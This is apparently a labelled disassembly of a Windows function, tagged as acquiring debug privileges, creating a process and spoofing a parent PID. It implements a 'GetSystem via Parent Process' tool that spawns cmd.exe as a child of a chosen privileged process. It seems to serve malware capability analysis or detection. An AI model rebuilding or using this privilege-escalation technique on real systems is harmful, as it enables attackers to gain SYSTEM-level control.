Function at 0x140001070
Capabilities:
Acquire debug privileges
Create process on windows
Spoof parent pid

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str.GetSystem_via_Parent_Process_n
call fcn.140001010
cmp ebx, 2
je 0x1400010bf
mov rdx, qword [rdi]
lea rcx, str.Usage:__s_PID_n
call fcn.140001010
jmp 0x140001305
mov rcx, qword [rdi + 8]
mov qword [rsp + 0x140], rsi
call fcn.14000753c
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea r9, [rsp + 0x50]
mov rcx, rax
lea edx, [r8 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
xor esi, esi
test eax, eax
jne 0x140001137
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x1400011e2
lea ecx, [rsi + 2]
call qword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
test eax, eax
je 0x1400011e2
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rcx, rax
lea edx, [rsi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x1400011e2
mov rdi, qword [rsp + 0x50]
lea r8, [rbp - 0x18]
lea rdx, str.SeDebugPrivilege
mov dword [rbp - 0x20], 0x10
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400011d7
mov rax, qword [rbp - 0x18]
lea r8, [rbp]
mov qword [rbp + 4], rax
mov r9d, 0x10
lea rax, [rbp - 0x20]
mov dword [rbp], 1
mov qword [rsp + 0x28], rax
xor edx, edx
lea rax, [rbp - 0x10]
mov dword [rbp + 0xc], esi
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400011d7
mov rax, qword [rbp - 0x18]
lea r8, [rbp - 0x10]
mov r9d, dword [rbp - 0x20]
xor edx, edx
or dword [rbp - 4], 2
mov rcx, rdi
mov qword [rsp + 0x28], rsi
mov qword [rbp - 0xc], rax
mov dword [rbp - 0x10], 1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1400011e2
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x14000120a
mov edx, ebx
lea rcx, str.Error_opening_PID__d_n
jmp 0x1400012f8
xorps xmm0, xmm0
lea r9, [rsp + 0x58]
xor eax, eax
xor r8d, r8d
xor ecx, ecx
mov qword [rbp - 0x2c], rax
movups xmmword [rsp + 0x74], xmm0
mov dword [rbp - 0x24], eax
lea edx, [rax + 1]
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
mov qword [rbp - 0x28], rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp - 0x28]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x70], 0x70
mov qword [rsp + 0x48], rax
lea rcx, str.C:Windows_system32cmd.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor edx, edx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400012fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_creating_new_process___d__n
call fcn.140001010
mov rsi, qword [rsp + 0x140]
xor eax, eax
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.140001340
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret